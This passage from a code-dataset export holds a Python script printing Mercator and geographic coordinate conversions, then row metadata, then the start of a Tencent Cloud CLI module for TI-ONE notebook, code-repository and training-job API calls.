################################################################################ print("\n CALCULATE LON,LAT \n") ################################################################################ x = 0.0 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ print("\n CALCULATE LAT \n") ################################################################################ x = 0.0 y = arc_deg30 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = arc_deg45 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = arc_deg60 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = arc_deg90 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = -arc_deg30 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = -arc_deg45 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = -arc_deg60 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = 0.0 y = -arc_deg90 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ print("\n CALCULATE LON \n") ################################################################################ x = arc_deg30 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg45 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg60 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg90 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg120 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg150 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = arc_deg180 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg30 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg45 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg60 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg90 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg120 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg150 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ x = -arc_deg180 y = 0.0 lon, lat = t_merc2geo.transform(x, y, radians=True) print("x= ", x, " y= ", y, "\t", lon, lat) ################################################################################ print("\n CALCULATE X,Y \n") ################################################################################ lon = 0.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ print("\n CALCULATE X \n") ################################################################################ lon = 30.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 45.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 60.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 90.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 120.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 150.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 180.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -30.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -45.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -60.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -90.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -120.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -150.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = -180.0 lat = 0.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ print("\n CALCULATE Y \n") ################################################################################ lon = 0.0 lat = 30.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = 45.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = 60.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = 85.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = -30.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = -45.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = -60.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y) ################################################################################ lon = 0.0 lat = -85.0 x, y = t_geo2merc.transform(lon, lat, radians=False) print("lon= ", lon, " lat= ", lat, "\t", x, y)
26.501217
80
0.336302
1,184
10,892
3.018581
0.04223
0.156128
0.045048
0.096531
0.934527
0.921097
0.882764
0.882764
0.882764
0.882764
0
0.034743
0.122659
10,892
410
81
26.565854
0.339263
0.001928
0
0.692308
0
0
0.114065
0
0
0
0
0
0
1
0
false
0
0.004808
0
0.004808
0.25
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3722d035b6ea3d4eddbd0fdf9e5098f87201d3d1
33,844
py
Python
tccli/services/tione/tione_client.py
ws0416/tencentcloud-cli
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
[ "Apache-2.0" ]
null
null
null
tccli/services/tione/tione_client.py
ws0416/tencentcloud-cli
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
[ "Apache-2.0" ]
null
null
null
tccli/services/tione/tione_client.py
ws0416/tencentcloud-cli
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import os import json import tccli.options_define as OptionsDefine import tccli.format_output as FormatOutput from tccli import __version__ from tccli.utils import Utils from tccli.exceptions import ConfigurationError from tencentcloud.common import credential from tencentcloud.common.profile.http_profile import HttpProfile from tencentcloud.common.profile.client_profile import ClientProfile from tencentcloud.tione.v20191022 import tione_client as tione_client_v20191022 from tencentcloud.tione.v20191022 import models as models_v20191022 def doUpdateNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.UpdateNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.UpdateNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeNotebookLifecycleScripts(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeNotebookLifecycleScriptsRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeNotebookLifecycleScripts(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doStartNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.StartNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.StartNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDeleteNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DeleteNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.DeleteNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeNotebookLifecycleScript(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeNotebookLifecycleScriptRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeNotebookLifecycleScript(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreatePresignedNotebookInstanceUrl(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreatePresignedNotebookInstanceUrlRequest() model.from_json_string(json.dumps(args)) rsp = client.CreatePresignedNotebookInstanceUrl(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateCodeRepository(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateCodeRepositoryRequest() model.from_json_string(json.dumps(args)) rsp = client.CreateCodeRepository(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doUpdateNotebookLifecycleScript(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.UpdateNotebookLifecycleScriptRequest() model.from_json_string(json.dumps(args)) rsp = client.UpdateNotebookLifecycleScript(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeTrainingJob(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeTrainingJobRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeTrainingJob(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doStopNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.StopNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.StopNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.CreateNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeCodeRepository(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeCodeRepositoryRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeCodeRepository(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateNotebookLifecycleScript(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateNotebookLifecycleScriptRequest() model.from_json_string(json.dumps(args)) rsp = client.CreateNotebookLifecycleScript(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDeleteCodeRepository(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DeleteCodeRepositoryRequest() model.from_json_string(json.dumps(args)) rsp = client.DeleteCodeRepository(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeNotebookSummary(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeNotebookSummaryRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeNotebookSummary(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeTrainingJobs(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeTrainingJobsRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeTrainingJobs(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDeleteNotebookLifecycleScript(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DeleteNotebookLifecycleScriptRequest() model.from_json_string(json.dumps(args)) rsp = client.DeleteNotebookLifecycleScript(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeNotebookInstance(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeNotebookInstanceRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeNotebookInstance(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doUpdateCodeRepository(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.UpdateCodeRepositoryRequest() model.from_json_string(json.dumps(args)) rsp = client.UpdateCodeRepository(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeNotebookInstances(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeNotebookInstancesRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeNotebookInstances(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = 